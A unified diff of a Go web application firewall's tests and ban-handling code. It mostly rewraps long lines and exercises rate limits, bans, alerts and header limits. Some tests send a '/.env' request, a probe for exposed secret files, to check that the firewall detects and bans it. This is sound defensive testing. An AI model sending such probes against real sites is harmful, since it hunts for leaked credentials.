@@ -254,7 +319,12 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) { got := s.admin(http.MethodPost, waf.BansPath, tc.body, http.StatusBadRequest) if !strings.Contains(string(got.body), tc.want) { - t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want) + t.Errorf( + "%.80s was answered %q, want it to say %q", + tc.body, + got.body, + tc.want, + ) } } @@ -276,7 +346,11 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) { // limit of two a minute, and bans it. s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward) - s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + s.get( + otherClient, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) // Asked about by its address in IPv6 form too. for _, addr := range []string{otherClient, "::ffff:" + otherClient} { @@ -302,7 +376,11 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) { if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit || got.Bans[0].Reason != "requests per minute over the limit of 2" || got.Bans[0].Notes.Count != 3 { - t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans) + t.Errorf( + "%s: bans %+v, want the one for the broken limit", + addr, + got.Bans, + ) } } @@ -310,7 +388,9 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) { // known. got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "", http.StatusOK) - if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" { + if string( + got.body, + ) != "{\n \"client\": null,\n \"bans\": []\n}\n" { t.Errorf("an unknown client is answered\n%s", got.body) } @@ -329,7 +409,13 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) { }) for _, e := range adminEndpoints() { - s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized) + s.ownEndpointRequest( + "", + e.method, + e.path, + e.body, + http.StatusUnauthorized, + ) } if held := server.Ledger.Snapshot(); len(held) != 0 { diff --git a/internal/waf/alerts_test.go b/internal/waf/alerts_test.go index 54c2266..561c498 100644 --- a/internal/waf/alerts_test.go +++ b/internal/waf/alerts_test.go @@ -46,7 +46,10 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) { }, requestlog.FormatTime(start.Add(time.Hour)))) if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" { - t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes) + t.Errorf( + "the alert's notes are %+v, want those of the broken limit", + ban.Notes, + ) } } @@ -62,7 +65,12 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) { // The probe bans the client for seven days, and its next request makes // the ban permanent. The request after that changes nothing. - s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.request( + client, + "/.env", + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) attackBan := server.Ledger.Bans(netblock)[0] @@ -83,15 +91,27 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) { otherBans := server.Ledger.Bans(other) - wantAlerts(t, queue, + wantAlerts( + t, + queue, attackAlert(alerts.EventBan, start, client, attackBan, requestlog.FormatTime(start.Add(7*24*time.Hour))), attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client, permanentBan, "permanent"), - attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0], - requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))), - attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour), - otherClient, otherBans[1], "permanent"), + attackAlert( + alerts.EventBan, + start.Add(time.Minute), + otherClient, + otherBans[0], + requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)), + ), + attackAlert( + alerts.EventPermanentBan, + start.Add(time.Minute+7*24*time.Hour), + otherClient, + otherBans[1], + "permanent", + ), ) } @@ -108,7 +128,11 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) { // A ban for a clear sign of attack, which a request under it would make // permanent. group := netip.MustParsePrefix(ipv6Group) - attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"}) + attackBan, _ := server.Ledger.BanForAttack( + group, + start, + bans.Notes{RuleID: "probe"}, + ) // The third request breaks the limit, and so does the fourth, within the // cooldown, which raises nothing. The probe is a clear sign of attack. @@ -123,8 +147,12 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) { held := server.Ledger.Snapshot() if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) || line.BanExpires != requestlog.FormatTime(attackBan.Expires) { - t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+ - "for the attack alone, as it was", held, line.BanExpires) + t.Errorf( + "the ledger holds %+v, and the log line gives %s, want the ban "+ + "for the attack alone, as it was", + held, + line.BanExpires, + ) } waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] @@ -138,21 +166,35 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) { if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" || attackNotes.Request.Path != "/.env" { - t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+ - "of the probe", limitNotes, attackNotes) + t.Errorf( + "the notes are %+v and %+v, want those of the broken limit and "+ + "of the probe", + limitNotes, + attackNotes, + ) } // Each alert is the one enforce mode would have raised, with mode // observe in its detail. want := []alerts.Alert{ banAlert(alerts.EventBan, start, client, bans.Ban{ - Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit, + Netblock: netip.MustParsePrefix( + client + "/32", + ), Cause: bans.CauseLimit, Reason: "requests per minute over the limit of 2", Notes: limitNotes, }, requestlog.FormatTime(start.Add(time.Hour))), attackAlert(alerts.EventBan, start, otherClient, bans.Ban{ - Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes, + Netblock: netip.MustParsePrefix( + otherClient + "/32", + ), Notes: attackNotes, }, requestlog.FormatTime(start.Add(7*24*time.Hour))), - attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent), + attackAlert( + alerts.EventPermanentBan, + start, + ipv6Client, + attackBan, + permanent, + ), } for _, alert := range want { alert.Detail["mode"] = observe @@ -180,7 +222,12 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) { // The other client's first probe raises the second. Its second probe is // within the cooldown. for range 2 { - s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward) + s.request( + otherClient, + "/.env", + http.StatusOK, + requestlog.ActionForward, + ) } // The IPv6 client's third request breaks the limit past the two alerts @@ -206,7 +253,11 @@ func startWithAlerts( ) (*sender, *clock, *waf.Server, *alerts.Queue) { t.Helper() - return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env) + return startAppWithAlerts( + t, + func(http.ResponseWriter, *http.Request) {}, + env, + ) } // startAppWithAlerts is startWithAlerts in front of the app handler. @@ -224,7 +275,13 @@ func startAppWithAlerts( } maps.Copy(settings, env) - addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings) + addr, out, server, queue := startProxyWithAlerts( + t, + app.URL, + "", + clk.Now, + settings, + ) s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out} @@ -235,7 +292,11 @@ func startAppWithAlerts( // the time raised, for ban, with its netblock, cause, reason and notes, // which ends at expires, as the log line gives it. func banAlert( - event string, raised time.Time, client string, ban bans.Ban, expires string, + event string, + raised time.Time, + client string, + ban bans.Ban, + expires string, ) alerts.Alert { return alerts.Alert{ Instance: alertInstance, @@ -254,7 +315,11 @@ func banAlert( // attackAlert is banAlert for a ban for the probe rule of testRules, with // the netblock and the notes of ban. func attackAlert( - event string, raised time.Time, client string, ban bans.Ban, expires string, + event string, + raised time.Time, + client string, + ban bans.Ban, + expires string, ) alerts.Alert { return banAlert(event, raised, client, bans.Ban{ Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe", diff --git a/internal/waf/anomaly_internal_test.go b/internal/waf/anomaly_internal_test.go index 0703e7c..9994513 100644 --- a/internal/waf/anomaly_internal_test.go +++ b/internal/waf/anomaly_internal_test.go @@ -24,7 +24,10 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) { defer func() { if r := recover(); r != nil { - t.Errorf("counting the request did work, with every threshold off: %v", r) + t.Errorf( + "counting the request did work, with every threshold off: %v", + r, + ) } }() diff --git a/internal/waf/anomaly_test.go b/internal/waf/anomaly_test.go index d7b70b6..7b4ef8b 100644 --- a/internal/waf/anomaly_test.go +++ b/internal/waf/anomaly_test.go @@ -51,7 +51,9 @@ const ( hour = "hour" ) -func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) { +func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown( + t *testing.T, +) { t.Parallel() for _, scope := range []struct { @@ -95,9 +97,8 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) { t.Run(setting, func(t *testing.T) { t.Parallel() - s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ - setting: value, watchNets: office, - }) + env := map[string]string{setting: value, watchNets: office} + s, clk, server, queue := startWithLookupsAndClock(t, env) start := clk.Now() // The third upload takes the count over the threshold, and the @@ -156,7 +157,10 @@ func wantAlertedAgainOnceTheCooldownHasRunOut( waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) || waiting[1].SuppressedRepeats != 1 { - t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting) + t.Errorf( + "alerts wait %+v, want the first and another, with 1 repeat", + waiting, + ) } } @@ -201,7 +205,10 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) { got = append(got, alert.Client.String()) } - if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) { + if want := []string{allowed, exempt, client, denied}; !slices.Equal( + got, + want, + ) { t.Errorf("alerts for the clients %v, want %v", got, want) } } @@ -210,7 +217,10 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) { t.Parallel() // With every threshold off, nothing is counted. - s, server, queue := startWithLookups(t, map[string]string{watchNets: office}) + s, server, queue := startWithLookups( + t, + map[string]string{watchNets: office}, + ) for range 5 { s.uploadFrom(client) @@ -306,7 +316,10 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) { got[counter.ASN] = counter.Minute.Current } - if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) { + if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal( + got, + want, + ) { t.Errorf("requests by AS number %v, want %v", got, want) } } @@ -324,7 +337,9 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) { release() waitUntil(func() bool { - _, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32")) + _, kept := server.Load().GeoJS.Kept( + netip.MustParsePrefix(fromDE + "/32"), + ) return kept }) @@ -342,7 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) { // number it gives. s := &sender{t: t, addr: addr, out: out} if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" { - t.Errorf("log line has AS number %q, want none: the request waited", line.ASN) + t.Errorf( + "log line has AS number %q, want none: the request waited", + line.ASN, + ) } want := []anomaly.Counter{{ @@ -357,10 +375,15 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) { func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) { t.Parallel() - s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{ - anomalyWatch + requestsPerMinute: aLot, - watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25", - }) + s, _, server, _ := startAppWithAlerts( + t, + readAndAnswer, + map[string]string{ + anomalyWatch + requestsPerMinute: aLot, + watchNets: office + ",wide=203.0.0.0/16" + + ",other=198.51.100.0/25", + }, + ) // client is in office and in wide. for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} { @@ -372,7 +395,10 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) { got[counter.Name] = counter.Minute.Current } - if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) { + if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal( + got, + want, + ) { t.Errorf("requests by named netblock %v, want %v", got, want) } } diff --git a/internal/waf/answertime_test.go b/internal/waf/answertime_test.go index 5ae3eed..d10b866 100644 --- a/internal/waf/answertime_test.go +++ b/internal/waf/answertime_test.go @@ -75,7 +75,9 @@ func fillHeaders(req *http.Request, total int) { } } -func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) { +func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem( + t *testing.T, +) { t.Parallel() s := startWAF(t, "", map[string]string{wafMode: block}) @@ -90,7 +92,10 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testin wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge) if line.DurationCoreRuleSetMS != nil { - t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS) + t.Errorf( + "the Core Rule Set read the request, for %f ms", + *line.DurationCoreRuleSetMS, + ) } } @@ -102,8 +107,12 @@ func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) { fillHeaders(req, headerFieldLimit+1) do(t, req) - wantHeuristic(t, s.out.requestLine(t), "header_limits", - `{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`) + wantHeuristic( + t, + s.out.requestLine(t), + "header_limits", + `{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`, + ) } func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) { @@ -160,7 +169,12 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) { if tc.refused { wantDisposition(t, got, tooLarge, waf.DispositionDeny) - wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge) + wantLine( + t, + line, + tooLarge, + requestlog.ActionRequestHeaderTooLarge, + ) return } @@ -169,7 +183,9 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) { wantLine(t, line, http.StatusOK, requestlog.ActionForward) if line.DurationCoreRuleSetMS == nil { - t.Error("the Core Rule Set did not read a request within the limits") + t.Error( + "the Core Rule Set did not read a request within the limits", + ) } }) } @@ -198,7 +214,11 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) { func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) { t.Parallel() - s := startWAF(t, "", map[string]string{wafMode: block, allowNets: client}) + s := startWAF( + t, + "", + map[string]string{wafMode: block, allowNets: client}, + ) req := s.question(siteA, client, "/") req.Header.Set(cookieHeader, cookies(cookieLimit+1)) @@ -219,8 +239,12 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) { line := s.out.requestLine(t) if line.WouldAction != requestlog.ActionRequestHeaderTooLarge || line.DurationCoreRuleSetMS != nil { - t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none", - line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge) + t.Errorf( + "would_action %q and duration_core_rule_set_ms %v, want %q and none", + line.WouldAction, + line.DurationCoreRuleSetMS, + requestlog.ActionRequestHeaderTooLarge, + ) } } @@ -235,7 +259,12 @@ func TestTheRateLimitsDoNotCountRequestsOverTheHeaderLimits(t *testing.T) { wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny) } - wantDisposition(t, s.ask(client, "/"), http.StatusOK, waf.DispositionAllow) + wantDisposition( + t, + s.ask(client, "/"), + http.StatusOK, + waf.DispositionAllow, + ) } func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) { @@ -310,7 +339,12 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) { req.Header.Set(cookieHeader, cookies(cookieLimit+1)) wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny) - wantLine(t, s.out.requestLine(t), tooLarge, requestlog.ActionRequestHeaderTooLarge) + wantLine( + t, + s.out.requestLine(t), + tooLarge, + requestlog.ActionRequestHeaderTooLarge, + ) }) } } @@ -327,9 +361,12 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) { }) s := startWAF(t, "", map[string]string{ lookupSource: fileSource, lookupDBPath: path, - tagLists: "vpn=" + vpnList, - routeWatchURL: startRouteWatch(t, map[string]standInRoute{client: {prefixDE, 64496}}), - dnsblZones: dnsblZone, reputationAction: actionLog, + tagLists: "vpn=" + vpnList, + routeWatchURL: startRouteWatch( + t, + map[string]standInRoute{client: {prefixDE, 64496}}, + ), + dnsblZones: dnsblZone, reputationAction: actionLog, rulesDir: writeRules(t, "noted path log ^/\n"), wafMode: block, }) @@ -351,19 +388,34 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) { if lines[0].RuleIDs != nil || lines[0].Counts != (ratelimit.Counts{}) || lines[0].DurationCoreRuleSetMS != nil { - t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want none", - lines[0].RuleIDs, lines[0].Counts, lines[0].DurationCoreRuleSetMS) + t.Errorf( + "rule ids %v, counts %+v and Core Rule Set time %v, want none", + lines[0].RuleIDs, + lines[0].Counts, + lines[0].DurationCoreRuleSetMS, + ) } // The request within the limits shows that each check leaves its mark. - wantTags(t, lines[1], - "asn=64496", "country=DE", "dnsbl="+dnsblZone, "exploitsignature", "vpn") + wantTags( + t, + lines[1], + "asn=64496", + "country=DE", + "dnsbl="+dnsblZone, + "exploitsignature", + "vpn", + ) wantTagsMissing(t, lines[1], "no_answer_yet") if lines[1].RuleIDs == nil || lines[1].Counts.Minute != 1 || lines[1].DurationCoreRuleSetMS == nil { - t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want each", - lines[1].RuleIDs, lines[1].Counts, lines[1].DurationCoreRuleSetMS) + t.Errorf( + "rule ids %v, counts %+v and Core Rule Set time %v, want each", + lines[1].RuleIDs, + lines[1].Counts, + lines[1].DurationCoreRuleSetMS, + ) } } @@ -378,17 +430,29 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) { }) countClient(t, s.server, s.clock.Now()) - wantDisposition(t, s.ask(fromDE, "/"), http.StatusForbidden, waf.DispositionDeny) + wantDisposition( + t, + s.ask(fromDE, "/"), + http.StatusForbidden, + waf.DispositionDeny, + ) line := s.out.requestLine(t) - wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + wantLine( + t, + line, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) if line.RateLimitPercent != nil { t.Errorf("limit percentage %d, want none", *line.RateLimitPercent) } } -func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) { +func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting( + t *testing.T, +) { t.Parallel() // The client's next request takes it over the whole limit, so it does @@ -403,17 +467,29 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T }}) countClient(t, s.server, s.clock.Now()) - wantDisposition(t, s.ask(client, "/"), http.StatusForbidden, waf.DispositionDeny) + wantDisposition( + t, + s.ask(client, "/"), + http.StatusForbidden, + waf.DispositionDeny, + ) line := s.out.requestLine(t) - wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + wantLine( + t, + line, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) if line.RateLimitPercent == nil || *line.RateLimitPercent != 0 { t.Errorf("limit percentage %v, want 0", line.RateLimitPercent) } } -func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(t *testing.T) { +func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits( + t *testing.T, +) { t.Parallel() geojsURL, asked := startGeoJS(t) @@ -427,8 +503,12 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(t *testing.T) wantDisposition(t, got, http.StatusOK, waf.DispositionAllow) if len(asked()) != 0 || got.header.Get("X-Client-Asn") != "" { - t.Errorf("GeoJS was asked about %v, and the answer gave the AS number %q, "+ - "want neither", asked(), got.header.Get("X-Client-Asn")) + t.Errorf( + "GeoJS was asked about %v, and the answer gave the AS number %q, "+ + "want neither", + asked(), + got.header.Get("X-Client-Asn"), + ) } } @@ -455,7 +535,12 @@ func askDirectly( ) (int, time.Duration) { t.Helper() - req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody) + req := httptest.NewRequestWithContext( + t.Context(), + http.MethodGet, + "/", + http.NoBody, + ) req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234") req.Header.Set(waf.ClientHeader, client) req.Header.Set(requestIDHeader, "the-id") @@ -471,12 +556,20 @@ func askDirectly( // banClient bans client at now. func banClient(_ *testing.T, server *waf.Server, now time.Time) { - server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{}) + server.Ledger.BanForLimit( + netip.MustParsePrefix(client+"/32"), + now, + bans.Notes{}, + ) } // countClient counts one request from client at now for the rate limits. func countClient(_ *testing.T, server *waf.Server, now time.Time) { - server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit) + server.Limiter.Count( + netip.MustParsePrefix(client+"/32"), + now, + wholeLimit, + ) } // listClient puts client on the blocklist at dropURL. @@ -559,13 +652,22 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) { server, out := newWAFInBubble(t, tc.env) tc.prepare(t, server, time.Now()) - status, took := askDirectly(t, server, func(req *http.Request) { - req.Header.Set(cookieHeader, tc.cookie) - }) + status, took := askDirectly( + t, + server, + func(req *http.Request) { + req.Header.Set(cookieHeader, tc.cookie) + }, + ) if status != tc.status || took != 0 { - t.Errorf("answered %d after %s, want %d at once; output:\n%s", - status, took, tc.status, out.text()) + t.Errorf( + "answered %d after %s, want %d at once; output:\n%s", + status, + took, + tc.status, + out.text(), + ) } wantLine(t, out.requestLine(t), tc.status, tc.action) @@ -577,7 +679,9 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) { } } -func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) { +func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -616,11 +720,21 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) { server, out := newWAFInBubble(t, tc.env) tc.prepare(t, server, time.Now()) - status, took := askDirectly(t, server, func(*http.Request) {}) + status, took := askDirectly( + t, + server, + func(*http.Request) {}, + ) if status != tc.status || took != defaultLookupWait { - t.Errorf("answered %d after %s, want %d after %s; output:\n%s", - status, took, tc.status, defaultLookupWait, out.text()) + t.Errorf( + "answered %d after %s, want %d after %s; output:\n%s", + status, + took, + tc.status, + defaultLookupWait, + out.text(), + ) } wantLine(t, out.requestLine(t), tc.status, tc.action) @@ -664,7 +778,11 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs( synctest.Test(t, func(t *testing.T) { // AbuseIPDB is asked only about a client with an offence. group := netip.MustParsePrefix(client + "/32") - server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true}) + server.Limiter.AddToHistory( + group, + time.Now(), + ratelimit.Request{Attack: true}, + ) status, took := askDirectly(t, server, func(req *http.Request) { req.Header.Set("User-Agent", "test") @@ -673,9 +791,17 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs( }) // The wait for GeoJS decides when the answer comes. - if status != http.StatusOK || took != defaultLookupWait || took >= answerTimeLimit { - t.Errorf("answered %d after %s, want %d after %s, within %s; output:\n%s", - status, took, http.StatusOK, defaultLookupWait, answerTimeLimit, out.text()) + if status != http.StatusOK || took != defaultLookupWait || + took >= answerTimeLimit { + t.Errorf( + "answered %d after %s, want %d after %s, within %s; output:\n%s", + status, + took, + http.StatusOK, + defaultLookupWait, + answerTimeLimit, + out.text(), + ) } // Each outside source was asked, and none has answered. GeoJS is asked @@ -686,10 +812,17 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs( // The resolver holds the query until it is released below, so a waf // that waited for the query would answer only once it had failed. - queries, failures := server.DNSBL.Queries(dnsblZone), server.DNSBL.Failures(dnsblZone) + queries, failures := server.DNSBL.Queries( + dnsblZone, + ), server.DNSBL.Failures( + dnsblZone, + ) if queries != 1 || failures != 0 { - t.Errorf("%d queries to the DNS blocklist, %d failed, want 1, none failed", - queries, failures) + t.Errorf( + "%d queries to the DNS blocklist, %d failed, want 1, none failed", + queries, + failures, + ) } if checked := server.AbuseIPDB.Checked(); checked != 1 { @@ -721,7 +854,11 @@ const ( func startHeldResolver(t *testing.T) (string, func()) { t.Helper() - conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0") + conn, err := (&net.ListenConfig{}).ListenPacket( + t.Context(), + "udp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } diff --git a/internal/waf/bans.go b/internal/waf/bans.go index c8dbc46..ae28ffb 100644 --- a/internal/waf/bans.go +++ b/internal/waf/bans.go @@ -29,7 +29,11 @@ type activeBan struct{} func (activeBan) name() string { return "active_ban" } -func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict { +func (activeBan) check( + _ context.Context, + rq *request, + now time.Time, +) *verdict { check := rq.h.ledger.Check if rq.h.config.Observe { check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is @@ -101,7 +105,11 @@ func (rq *request) countedBytes() int64 { // the client's counters back to zero. In observe mode it makes no ban and // sets nothing back, and raises the alert for the ban it would have made, // if that alert would be sent. -func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { +func (rq *request) banForLimit( + now time.Time, + hit ratelimit.Hit, + status int, +) { switch hit.Kind { case ratelimit.KindBytes: rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals @@ -115,7 +123,8 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { rq.h.metrics.LimitHit(hit) netblock := rq.h.netblock(rq.client) - if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) { + if rq.h.config.Observe && + !rq.wouldAlertBan(netblock, now, bans.CauseLimit) { return } @@ -164,8 +173,11 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { // alert would be sent. It returns the action for that ban. func (rq *request) banForAttack(now time.Time, notes bans.Notes) string { netblock := rq.h.netblock(rq.client) - if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) { - return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack)) + if rq.h.config.Observe && + !rq.wouldAlertBan(netblock, now, bans.CauseAttack) { + return banAction( + rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack), + ) } notes.ASN = rq.line.ASN @@ -198,10 +210,16 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string { // CrowdSec's decision on the client, ends. In observe mode it makes no // ban, and raises the alert for the ban it would have made, if that alert // would be sent. It returns the action for that ban. -func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string { +func (rq *request) banForCrowdSec( + now time.Time, + decision reputation.Decision, +) string { netblock := rq.h.netblock(rq.client) - if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) { - return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec)) + if rq.h.config.Observe && + !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) { + return banAction( + rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec), + ) } notes := bans.Notes{ @@ -214,8 +232,13 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) s } if rq.h.config.Observe { - ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires, - decision.Scenario, notes) + ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec( + netblock, + now, + decision.Expires, + decision.Scenario, + notes, + ) if wouldBan { rq.alertBan(ban) } diff --git a/internal/waf/bans_test.go b/internal/waf/bans_test.go index 1e37f23..3a143c3 100644 --- a/internal/waf/bans_test.go +++ b/internal/waf/bans_test.go @@ -33,29 +33,52 @@ const ( func TestBrokenLimitBansTheClient(t *testing.T) { t.Parallel() - s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"}) + s, clk, _ := startWithClock( + t, + "", + map[string]string{rateLimitPerMinute: "1"}, + ) expires := requestlog.FormatTime(clk.Now().Add(time.Hour)) // The request over the limit of one a minute is refused, and bans the // client for an hour, the default. s.get(client, http.StatusOK, requestlog.ActionForward) - line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + line := s.get( + client, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit || line.BanExpires != expires { - t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+ - "want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires, - expires) + t.Errorf( + "log line has limit_hit %q, offence %q and ban_expires %q, "+ + "want minute, limit and %s", + line.LimitHit, + line.Offence, + line.BanExpires, + expires, + ) } // Every request while the ban lasts is refused. clk.advance(time.Hour - time.Second) - line = s.get(client, 